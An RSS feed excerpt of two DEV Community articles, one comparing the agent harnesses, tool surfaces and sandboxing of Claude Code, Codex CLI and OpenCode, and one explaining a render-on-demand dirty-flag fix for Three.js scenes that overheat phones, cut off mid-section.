<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Dheeraj Akula</title>
    <description>The latest articles on DEV Community by Dheeraj Akula (@dheerajakula).</description>
    <link>https://dev.to/dheerajakula</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4080532%2Fcfe4c9dc-af95-4cb1-a7fd-f63af7e149b2.png</url>
      <title>DEV Community: Dheeraj Akula</title>
      <link>https://dev.to/dheerajakula</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/dheerajakula"/>
    <language>en</language>
    <item>
      <title>What is an agent harness? Claude Code vs Codex CLI vs OpenCode</title>
      <dc:creator>Dheeraj Akula</dc:creator>
      <pubDate>Sun, 16 Aug 2026 19:43:33 +0000</pubDate>
      <link>https://dev.to/dheerajakula/what-is-an-agent-harness-claude-code-vs-codex-cli-vs-opencode-2pn8</link>
      <guid>https://dev.to/dheerajakula/what-is-an-agent-harness-claude-code-vs-codex-cli-vs-opencode-2pn8</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fharness-hero.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fharness-hero.jpg" title="The animal supplies the power. Everything that decides where it goes is the harness." alt="A draft horse in full working harness, with the collar, blinders, reins and traces labelled as the model, context, permissions and tools." width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A harness straps a source of power to useful work and decides where that power is allowed to go. Climbing harness, wiring harness, horse harness. The horse is the easiest to picture: the animal supplies the strength, and the harness decides what it can reach, what it's allowed to look at, and how much of that strength arrives at the load.&lt;/p&gt;

&lt;p&gt;A coding agent splits the same way. The model is the animal. The agent harness is everything strapped around it: the loop that keeps it working, the tools it can call, what it gets shown, and what it's allowed to touch. And the straps turn out to matter about as much as the animal.&lt;/p&gt;

&lt;p&gt;In May 2026 a group at Peking University ran 106 tasks through six different agent harnesses over the same pool of models, logging more than five thousand runs. The best harness scored 76.2, the worst 52.4. That &lt;a href="https://arxiv.org/html/2605.27922v1" rel="noopener noreferrer"&gt;23.8 point gap&lt;/a&gt; came from the harness, not the model doing the thinking.&lt;/p&gt;

&lt;p&gt;If you want the mechanism rather than the scoreboard, the clearest experiment is older. In 2024 a group at Princeton held one model constant and changed only the interface it used to work on a codebase. Show it a hundred lines of a file at a time and it fixed 18% of real GitHub issues. Show it the whole file and that fell to 12.7%.&lt;/p&gt;

&lt;p&gt;More information, worse results. That is the &lt;a href="https://arxiv.org/abs/2405.15793" rel="noopener noreferrer"&gt;SWE-agent paper&lt;/a&gt;, and it called the thing it was varying the agent-computer interface. We say harness now.&lt;/p&gt;

&lt;p&gt;I wanted to know what the three big ones actually do differently, so I cloned them rather than reading their marketing. Two are open source. The third had an unusually informative accident.&lt;/p&gt;

&lt;h2&gt;
  
  
  A harness is a while loop with function calls
&lt;/h2&gt;

&lt;p&gt;Strip the branding off and a language model is one function. Text in, text out. It cannot read a file, run a test, or remember what it said a minute ago unless you paste the conversation back in. It's a very capable person locked in a room, passing notes under the door.&lt;/p&gt;

&lt;p&gt;The harness is everything on your side of the door, and at its core it is embarrassingly small:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;loop:
    response = model(context)
    if response contains a tool call:
        result = run_tool(tool_call)      # read a file, run bash, edit code
        context += tool_call + result
    else:
        show response to user, wait for input
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the agentic loop, in full. The model emits text saying "I want to run &lt;code&gt;npm test&lt;/code&gt;". The harness actually runs it, pastes the output back into the context, and calls the model again. The model reads the failure, decides what to do next, and round it goes. Read, edit, run, read the error, fix, run again.&lt;/p&gt;

&lt;p&gt;This isn't a simplification for the sake of a blog post. In OpenCode, the easiest of the three to read, it is a literal &lt;code&gt;while (true)&lt;/code&gt; in &lt;code&gt;session/prompt.ts&lt;/code&gt; that calls the model once per pass and breaks when the last response contains no unexecuted tool calls. Every coding agent you have used is this loop wearing a different coat.&lt;/p&gt;

&lt;p&gt;So why do harnesses differ so much, if the loop is the same? Because the loop is the skeleton and everything interesting is the flesh around it: which tools exist, how they're described, what the model is told before your first message, what runs without asking permission, and what gets thrown away when the context fills up.&lt;/p&gt;

&lt;p&gt;Princeton tested those decisions one at a time, and all three tools below have taken a position on the results. The file window from the top was one of them, worth 5.3 points. Trimming the conversation history to just the last five tool outputs, instead of keeping all of it, was worth another 3. Giving the edit tool a linter that refuses syntactically broken changes was worth 3 points on its own.&lt;/p&gt;

&lt;p&gt;Notice what kind of decisions those are. The first two win by showing the model less. The third wins by letting it get away with less. Neither touches a model weight. All of it is harness.&lt;/p&gt;

&lt;p&gt;Which brings us to the three tools, and to three different answers. It's easiest to see them side by side before reading anyone's source: one animal buried under every strap its maker could think of, one wearing almost nothing, one built from pieces you can unclip and swap out depending on the job.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fthree-harnesses.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fthree-harnesses.jpg" title="Three answers to the same question: strap on everything, strap on almost nothing, or make the straps swappable (Claude Code, Codex CLI and OpenCode, left to right)." alt="Three identical draft horses. The first is buried under an elaborate harness hung with dozens of tools, the second wears only a simple bridle and one rein, the third wears a modular harness of interchangeable sections with a spare piece on the ground." width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code: maximal tools, industrial context engineering
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fclaude-code-logo.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fclaude-code-logo.jpg" title="Closed source, and readable anyway thanks to one packaging mistake in March 2026." alt="The Claude Code logo." width="799" height="181"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Claude Code is closed source. On March 31, 2026 a packaging mistake shipped a 59.8 MB source map inside &lt;code&gt;@anthropic-ai/claude-code&lt;/code&gt; v2.1.88, and the community had reconstructed the TypeScript before it was pulled. The &lt;a href="https://www.sabrina.dev/p/claude-code-source-leak-analysis" rel="noopener noreferrer"&gt;analyses from that window&lt;/a&gt; are the reason anyone can discuss its internals, and the prompts have been &lt;a href="https://github.com/Piebald-AI/claude-code-system-prompts" rel="noopener noreferrer"&gt;archived per version&lt;/a&gt; ever since. I read the v2.1.223 archive.&lt;/p&gt;

&lt;p&gt;Treat what follows as reconstructed material, because that's what it is. It's a community extraction rather than an Anthropic release, and the files in it aren't finished strings. They're templates, full of &lt;code&gt;${VAR}&lt;/code&gt; interpolation and ternaries, assembled at runtime from your sandbox mode, git state, feature flags and whichever model is running. Many are mutually exclusive variants of the same tool.&lt;/p&gt;

&lt;p&gt;That last part matters, so here is exactly what I counted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# in the archive's system-prompts/ directory&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;tool-description-&lt;span class="k"&gt;*&lt;/span&gt;.md | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt;   &lt;span class="c"&gt;# 28973&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;system-prompt-&lt;span class="k"&gt;*&lt;/span&gt;.md    | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt;   &lt;span class="c"&gt;# 28373&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two corpora, near enough the same size. No single session ships 29,000 words of tool descriptions, since the conditionals mean only a slice gets selected on any given turn. What the ratio tells you is where the effort went. Anthropic has put roughly as many words into describing its tools as into every other instruction the model receives, combined.&lt;/p&gt;

&lt;p&gt;The tool surface is enormous to match: about 45 tool-name slots covering some 95 tools, each described at length. The &lt;code&gt;Bash&lt;/code&gt; description alone is spread across 39 template files, 16 of which exist only to reword it depending on sandbox mode.&lt;/p&gt;

&lt;p&gt;The Princeton result says a rich, carefully described tool surface beats a bare shell by 64%, about 7 points on that benchmark. Claude Code is what it looks like to believe that finding completely and then fund it for two years.&lt;/p&gt;

&lt;p&gt;Two other things stuck with me. The first is that orchestration is written in English. The largest single system-prompt fragment is a coordinator block of 5,916 tokens, and it's pure prose about when to delegate, when to spawn a subagent versus continue an existing one, and how to synthesize what comes back. There's no scheduler anywhere. The architecture diagram is an essay. There's even a dedicated block arguing against delegating, which opens with "Subagents multiply cost and time" and later points out that verification which fits in your own loop belongs in your own loop.&lt;/p&gt;

&lt;p&gt;The second is that the prompt is compiled for cacheability. Analyses of the leak describe a split at a constant named &lt;code&gt;__SYSTEM_PROMPT_DYNAMIC_BOUNDARY__&lt;/code&gt;. Everything above it is identical for every user on the planet and sits in a shared cache; everything below is your session, your &lt;code&gt;CLAUDE.md&lt;/code&gt;, your git status. &lt;a href="https://www.dbreunig.com/2026/04/04/how-claude-code-builds-a-system-prompt.html" rel="noopener noreferrer"&gt;Without that trick&lt;/a&gt; a prompt this size would not be affordable. Claude Code's own shipped documentation hands the same advice to people building agents: never edit the system prompt mid-session, because it invalidates the cached prefix.&lt;/p&gt;

&lt;h2&gt;
  
  
  Codex CLI: give it a shell and get out of the way
&lt;/h2&gt;

&lt;p&gt;OpenAI's &lt;a href="https://github.com/openai/codex" rel="noopener noreferrer"&gt;Codex CLI&lt;/a&gt; is Apache-2.0 Rust, and it bets the other way on almost everything. Its registry defines around 28 tool names, but most are feature-gated, and a plain local session exposes six to eight: &lt;code&gt;shell_command&lt;/code&gt;, &lt;code&gt;apply_patch&lt;/code&gt;, &lt;code&gt;update_plan&lt;/code&gt;, &lt;code&gt;view_image&lt;/code&gt;, web search, and the MCP resource tools if you've configured any servers.&lt;/p&gt;

&lt;p&gt;The absences are the point. No read tool. No grep tool. No glob tool. No edit tool. Reading and searching go through the shell, and the only way to change a file is &lt;code&gt;apply_patch&lt;/code&gt;, which isn't even a JSON tool but a freeform one with a Lark grammar attached.&lt;/p&gt;

&lt;p&gt;You can watch this in OpenAI's own splash screenshot. Read the model's reasoning in the middle of the frame: it's talking itself into &lt;code&gt;ls&lt;/code&gt; and &lt;code&gt;rg --files&lt;/code&gt;, because that's what it has.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fcodex-cli.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fcodex-cli.png" title="The reasoning is doing the work a tool would have done. That is the trade Codex makes." alt="The Codex CLI, from OpenAI's own repo. The model plans to use ls and rg --files, since Codex gives it a shell rather than search tools." width="800" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The most telling part is where those missing tools went. They come back as prose.&lt;/p&gt;

&lt;p&gt;There is no search tool to describe, so the prompt simply tells the model to reach first for &lt;code&gt;rg&lt;/code&gt; or &lt;code&gt;rg --files&lt;/code&gt;. There is no write tool, so it warns: "Do not create or edit files with &lt;code&gt;cat&lt;/code&gt; or other shell write tricks."&lt;/p&gt;

&lt;p&gt;Claude Code puts that kind of knowledge in the tool descriptions. Codex puts it in a sentence. The whole system prompt runs between 1,822 and 3,511 words depending on the model, and it now ships as JSON rather than the markdown files still sitting in the repo.&lt;/p&gt;

&lt;p&gt;This is a deliberate bet against the Princeton result, and not a foolish one. That paper's shell-only baseline was a 2024 model. Since then, models have been trained hard on terminal use, and Codex is betting they have absorbed the interface into their weights. If that is right, the scaffolding that bought 7 points in 2024 now costs more in tokens and rigidity than it returns. Whether it is right, nobody seems to have measured properly.&lt;/p&gt;

&lt;p&gt;What Codex spends its complexity on instead is isolation, and here it's the most serious of the three by some distance. Three sandbox implementations ship with it: Seatbelt on macOS, bubblewrap plus seccomp on Linux, and a Windows sandbox. The policy is a typed enum of &lt;code&gt;read-only&lt;/code&gt; (the default), &lt;code&gt;workspace-write&lt;/code&gt;, &lt;code&gt;external-sandbox&lt;/code&gt; and &lt;code&gt;danger-full-access&lt;/code&gt;. Network access is off unless you turn it on. The macOS policy is generated at spawn time and passed as an argument rather than written to a file, starting from a blanket &lt;code&gt;(deny default)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One small detail I liked: inside every writable root, three directories are forced back to read-only, namely &lt;code&gt;.git&lt;/code&gt;, &lt;code&gt;.agents&lt;/code&gt; and &lt;code&gt;.codex&lt;/code&gt;. The agent can rewrite your source all it likes, but it cannot touch your git internals or its own configuration. Someone thought about that.&lt;/p&gt;

&lt;p&gt;The difference that matters is this. Claude Code decides whether a command is safe by parsing it and reasoning about it. Codex decides by asking the kernel to make the dangerous thing impossible. One is a very good lock on the door. The other is a room with no door.&lt;/p&gt;

&lt;h2&gt;
  
  
  OpenCode: the harness with no favorite model
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/sst/opencode" rel="noopener noreferrer"&gt;OpenCode&lt;/a&gt; is MIT TypeScript, version 1.18.14 as I write this, and it asks a different question: what if the harness had no allegiance to any lab at all? It resolves models from a catalog with 24 provider packages bundled and installs anything else from npm on demand, so Anthropic, OpenAI, Google and a local model under Ollama are all the same kind of thing to it.&lt;/p&gt;

&lt;p&gt;Put its screenshot next to the Codex one and you can see the difference without reading a line of source. Where Codex reasoned its way toward &lt;code&gt;rg --files&lt;/code&gt;, this one issues &lt;code&gt;Grep&lt;/code&gt;, &lt;code&gt;Glob&lt;/code&gt; and &lt;code&gt;Read&lt;/code&gt; as named tools. Look at the status bar too: that's Claude Opus, running inside a harness with no relationship to Anthropic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fopencode-tui.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdheerajakula.dev%2Fimages%2Fharness%2Fopencode-tui.png" title="Named tools instead of shell commands, and Claude Opus in the status bar of a harness Anthropic did not write." alt="The OpenCode terminal UI, from its own repo. The agent calls named Grep, Glob and Read tools, and the status bar shows it running Claude Opus." width="800" height="653"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Its tool surface sits between the other two at 17 tools, with the descriptions kept in separate &lt;code&gt;.txt&lt;/code&gt; files totalling 2,757 words. But it's the most interesting of the three on the Princeton findings, because it implements two of them almost literally.&lt;/p&gt;

&lt;p&gt;The linter guardrail is real. In &lt;code&gt;tool/edit.ts&lt;/code&gt;, right after applying an edit, it calls &lt;code&gt;lsp.touchFile()&lt;/code&gt; and then &lt;code&gt;lsp.diagnostics()&lt;/code&gt; and folds the result into what the model reads back. That's the paper's 3-point finding shipped in production, and better than the paper's version: not a syntax check but your actual language server, the same diagnostics your editor shows you.&lt;/p&gt;

&lt;p&gt;The forgetting is deliberate and tunable. &lt;code&gt;session/compaction.ts&lt;/code&gt; has two mechanisms with named constants. Prune truncates old tool outputs in place at &lt;code&gt;TOOL_OUTPUT_MAX_CHARS = 2_000&lt;/code&gt; while keeping the last &lt;code&gt;DEFAULT_TAIL_TURNS = 2&lt;/code&gt; turns whole. Compact summarizes when the context overflows. Keep the recent observations, gut the old ones, with a config file attached.&lt;/p&gt;

&lt;p&gt;There's one thing here I haven't seen anywhere else: the harness reshapes itself around the model. In the tool registry, GPT-family models are handed &lt;code&gt;apply_patch&lt;/code&gt; and have &lt;code&gt;edit&lt;/code&gt; and &lt;code&gt;write&lt;/code&gt; removed, while everything else gets the inverse. The system prompt is chosen per model family too, with separate files for Anthropic, GPT, Codex and Gemini. OpenCode has quietly concluded that there is no best tool surface, only the best tool surface for a given model. Of the three, that is the sharpest reading of the Princeton result.&lt;/p&gt;

&lt;p&gt;The trade-offs are real. There is no OS-level sandbox at all. Permissions are in-process checks, evaluated last-matching-rule-wins with a default of &lt;code&gt;ask&lt;/code&gt;, and the bash tool parses commands with tree-sitter to derive per-command permission patterns rather than asking once for all shell access. That's decent engineering, and it's still a lock on a door rather than a room without one.&lt;/p&gt;

&lt;p&gt;Architecturally, though, it's the only one of the three with a real client-server split: the agent runs as a headless HTTP server whose OpenAPI spec generates the client SDK, and the terminal UI is just one consumer of it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The thing two of them are quietly building next
&lt;/h2&gt;

&lt;p&gt;Here's what I didn't expect to find, in two codebases at once.&lt;/p&gt;

&lt;p&gt;Codex's three newest models are configured with &lt;code&gt;"tool_mode": "code_mode_only"&lt;/code&gt;. In that mode the whole tool surface collapses into a single freeform tool called &lt;code&gt;exec&lt;/code&gt;, and its payload is source code that calls the tools as an ordinary API. Not a menu the model picks from one item at a time, but a program it writes. Codex also supports deferred tools that aren't included in the request at all, which the model finds on demand through a &lt;code&gt;tool_search&lt;/code&gt; call. OpenCode has the same idea behind an experimental flag, a tool named &lt;code&gt;execute&lt;/code&gt;, which swaps the per-tool listings for a typed catalog the model writes code against.&lt;/p&gt;

&lt;p&gt;Think about what that does to context. Instead of paying for every tool description on every turn, you pay for one and let the model spend its own reasoning composing the rest. It's the Princeton lesson taken to the end of the line: the harness's job isn't to show the model everything it might need, it's to show as little as possible while keeping everything reachable.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd actually take away
&lt;/h2&gt;

&lt;p&gt;Most of what a harness adds is subtraction. It shows the model a window of a file rather than the whole file, drops stale tool output, and refuses a broken edit at the tool boundary instead of letting the model find out three turns later. Those are all restrictions, and in the paper they're what scored highest. That isn't what a year of bigger-context-window announcements would lead you to expect.&lt;/p&gt;

&lt;p&gt;Each of the three bets differently on how much to take away. Claude Code believes in the tool surface, and spends more words describing its tools than instructing the model, with a caching pipeline built to make that affordable. Codex believes modern models already know the terminal, so it ships a handful of tools, a prompt in the low thousands of words, and three kernel sandboxes. OpenCode believes the answer depends on the model, so it swaps its own tools and prompts based on which one you loaded, and hands you the server to run yourself.&lt;/p&gt;

&lt;p&gt;If you're picking one today: Claude Code for the deepest tooling if you don't mind the token bill, Codex for speed and a sandbox you can actually defend, OpenCode to own the stack and bring your own model. But a harness is only a loop, a tool list and a set of decisions about what to throw away, and once you can see that you can read any of these repos in an afternoon and stop guessing why your agent went round in circles.&lt;/p&gt;

&lt;p&gt;Everyone is still arguing about which animal is strongest. The measurements keep pointing at the straps.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Dheeraj, a software engineer at Nutanix Enterprise AI working on agent&lt;br&gt;
harnesses and developer tools. I write up the problems that took me too long to&lt;br&gt;
work out. More at &lt;a href="https://dheerajakula.dev/blog" rel="noopener noreferrer"&gt;dheerajakula.dev/blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>agents</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Why a static Three.js scene still cooks your phone, and the dirty-flag fix</title>
      <dc:creator>Dheeraj Akula</dc:creator>
      <pubDate>Sun, 16 Aug 2026 19:43:30 +0000</pubDate>
      <link>https://dev.to/dheerajakula/why-a-static-threejs-scene-still-cooks-your-phone-and-the-dirty-flag-fix-3a6h</link>
      <guid>https://dev.to/dheerajakula/why-a-static-threejs-scene-still-cooks-your-phone-and-the-dirty-flag-fix-3a6h</guid>
      <description>&lt;p&gt;So I have a bunch of small games on my site. Ludo, tic-tac-toe, carrom, rock-paper-scissors. Nothing fancy, the kind of thing you'd think runs on a potato. They're built with &lt;a href="https://threejs.org/" rel="noopener noreferrer"&gt;Three.js&lt;/a&gt;, which is the standard library for drawing 3D graphics in a web page. I was testing them on my iPhone and the phone got genuinely hot. Hot to hold. And here's the part that bugged me: I wasn't even doing anything. I was just sitting on the Ludo board waiting for my turn. Nothing on screen was moving.&lt;/p&gt;

&lt;p&gt;My first instinct was the lazy one, and I want to call it out because I bet it's yours too: maybe Three.js is just too heavy for these little games, maybe I should rip it out and draw everything with plain Canvas. That instinct is completely backwards, and figuring out why taught me something about how the GPU actually spends its time that I wish I'd known years ago.&lt;/p&gt;

&lt;h2&gt;
  
  
  A still frame is not a free frame
&lt;/h2&gt;

&lt;p&gt;Here's the render loop every Three.js tutorial hands you. A &lt;strong&gt;render loop&lt;/strong&gt; is just a function that draws your scene over and over so it looks alive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;animate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;requestAnimationFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;animate&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scene&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;animate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things are happening here. &lt;code&gt;requestAnimationFrame&lt;/code&gt; (people shorten it to &lt;strong&gt;rAF&lt;/strong&gt;) is a browser function that means "run this again right before you paint the next frame." Browsers repaint the screen about 60 times a second, so anything you hand to rAF runs about 60 times a second too. And &lt;code&gt;renderer.render(...)&lt;/code&gt; is the line that actually tells the GPU to draw the whole scene: clear the screen, then redraw every single object on it.&lt;/p&gt;

&lt;p&gt;So this loop tells the GPU to repaint everything, 60 times a second, forever, whether or not anything changed. And a GPU pinned at full tilt is exactly what is heating up the phone. That right there is the whole problem.&lt;/p&gt;

&lt;p&gt;The GPU has no idea your scene is "basically static." Every single call clears the framebuffer and redraws every object from scratch. A motionless Ludo board at 60 frames per second costs exactly as much as a board mid-animation, because it is doing literally the same work, 60 times a second, while you stare at a menu deciding your move.&lt;/p&gt;

&lt;p&gt;So the heat was never about the framework. It was about asking the GPU to repaint an unchanging picture 60 times a second for no reason at all. Here, watch the difference, and tap "Make a move" on the cold one:&lt;/p&gt;

&lt;p&gt;The left phone is the tutorial loop. It climbs to hot and stays there. The right one only draws when something actually happened, so it sits cold until you poke it. Same board, same framework. The only difference is whether the loop bothers to draw when nothing moved.&lt;/p&gt;

&lt;p&gt;And no, switching to Canvas2D (the simpler, non-3D way of drawing in a browser) wouldn't have saved me. A 60fps loop redrawing a full-screen canvas heats a phone just as happily, 3D or not. The renderer was never the variable. The loop was.&lt;/p&gt;

&lt;h2&gt;
  
  
  Render on demand
&lt;/h2&gt;

&lt;p&gt;The fix is embarrassingly simple once you see it. Stop rendering when nothing changed. The trick is a &lt;strong&gt;dirty flag&lt;/strong&gt;: a tiny true/false value you flip to &lt;code&gt;true&lt;/code&gt; whenever something actually changes on screen. "Dirty" is the old programming word for "this is out of date, it needs repainting." Then the loop only calls &lt;code&gt;renderer.render()&lt;/code&gt; on frames where the flag is set.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;needsRender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// draw the first frame&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;invalidate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;needsRender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// "the picture is out of date, please redraw it"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;animate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;requestAnimationFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;animate&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// step whatever is actually animating; these call invalidate() if they changed something&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;moving&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;tweens&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;particles&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;needsRender&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;moving&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scene&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;camera&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;needsRender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;animate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now a Ludo board waiting for your input renders zero frames. You call &lt;code&gt;invalidate()&lt;/code&gt; from your input handlers, your animations, your resize listener, anywhere a pixel genuinely changes. A turn-based game spends almost its whole life doing nothing, so almost all of that GPU work just evaporates.&lt;/p&gt;

&lt;p&gt;Here's the same loop as a flowchart. Flip the switch and watch where the frame goes:&lt;/p&gt;

&lt;p&gt;Idle, the frame falls straight through to "sleep" and the GPU does nothing. The moment something's moving, every frame pays for a real render again, which is exactly what you want, only when you want it.&lt;/p&gt;

&lt;p&gt;If you use &lt;a href="https://github.com/pmndrs/react-three-fiber" rel="noopener noreferrer"&gt;&lt;code&gt;@react-three/fiber&lt;/code&gt;&lt;/a&gt; (the popular React wrapper around Three.js), you get this for free. Set &lt;code&gt;frameloop="demand"&lt;/code&gt; on the &lt;code&gt;&amp;lt;Canvas&amp;gt;&lt;/code&gt; and call &lt;code&gt;invalidate()&lt;/code&gt; when you change something. Same idea, one prop.&lt;/p&gt;

&lt;h2&gt;
  
  
  The two settings that quietly double your GPU bill
&lt;/h2&gt;

&lt;p&gt;Render-on-demand kills the wasted frames. But the frames you &lt;em&gt;do&lt;/em&gt; draw can each cost about twice what they should, and two renderer defaults are almost always the reason. They bite hardest on phones:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
